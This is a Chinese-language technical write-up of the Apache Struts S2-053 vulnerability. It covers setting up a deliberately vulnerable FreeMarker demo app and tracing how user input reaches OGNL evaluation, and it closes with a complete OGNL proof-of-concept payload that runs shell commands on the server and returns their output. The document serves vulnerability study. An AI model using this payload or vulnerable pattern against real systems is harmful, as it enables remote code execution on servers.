s2-053 漏洞分析

java struts

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 2018/10/09

影响版本：

Struts 2.0.1 - Struts 2.3.33
Struts 2.5 - Struts 2.5.10

0x01 部署又见踩坑

这回漏洞主要位于struts对freemarker处理的问题

表现层技术主要有三种:jsp、freemarker、velocity

idea生成maven项目，在pom.xml中添加依赖

 <dependencies>
     <dependency>
         <groupId>org.apache.struts</groupId>
         <artifactId>struts2-core</artifactId>
         <version>2.5.8</version>
     </dependency>

     <dependency>
         <groupId>org.freemarker</groupId>
         <artifactId>freemarker</artifactId>
         <version>2.3.28</version>
     </dependency>
 </dependencies>

将core.jar的/META-INF/struts-tags.tld拷贝到项目/WEB-INF下

WEB-INF/classes下创建struts.xml，内容

 <struts>
     <package name="test" extends="struts-default">
         <action name="welcome" class="first">
             <result type="freemarker" name="success">
                 /WEB-INF/ftl/first.ftl
             </result>
         </action>
     </package>
 </struts>

附上first.class和first.ftl

 import com.opensymphony.xwork2.ActionSupport;

 public class first extends ActionSupport {
     private String name="SystemUser";

     public String getName(){
         return name;
     }

     public void setName(String name){
         this.name = name;
     }

     @Override
     public String execute() throws Exception{
         return SUCCESS;
     }
 }

 <html>
     <head>
         <title>S2-053 Demo</title>
     </head>
     <body>
         <h1>S2-053 Demo</h1>
         <hr/>
         Your name: <@s.url value="${name}"/>
         <hr/>
         Enter your name here:<br/>
         <form action="" method="get">
             <input type="text" name="name" value="" />
             <input type="submit" value="Submit" />
         </form>
         <br/>
         <p>See more at: <a href="https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-053">VulApps - S2-053</a></p>
     </body>
 </html>

0x02 分析

跟进分析

action结束后，由于result-type为freemarker，进入对应类进行处理

 <result-type name="freemarker" class="org.apache.struts2.views.freemarker.FreemarkerResult"/>

新建一个进程，打印模板内容
跟进process
再跟进ObjectWrapper#process()，从根节点进行渲染
跟进visit()，这里采用深度遍历，同时渲染节点，accept()会解析节点内容，遇到表达式会跟进处理
简单跟一下accept()，如果不是自定义宏，会调用visitAndTransform对节点中的表达式进行处理
跟进几层，TransformControl会在页面跳转前对参数值进行处理，
findString最后会调用findValue，在这里OGNL表达式被执行

org.apache.struts2.components.Component#findValue(java.lang.String, java.lang.Class)

流程梳理

st=>start: 传入之后通过struts-default.xml进入org.apache.struts2.views.freemarker.FreemarkerResult
a=>operation: 通过template.process(model, writer)进行模板处理
b=>operation: 利用freemarker.core.Environment#visit(freemarker.core.TemplateElement)深度遍历节点内容，将表达式筛选出来
c=>operation: 遇到表达式会进入freemarker.core.UnifiedCall#accept解析表达式内容，TemplateModel value = valueExp.eval(env)
en=>end: 如果不是自定义宏，则进入visitAndTransform，一些列操作后执行ognl

st->a->b->c->en

调用栈信息

通过POC快速定位

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}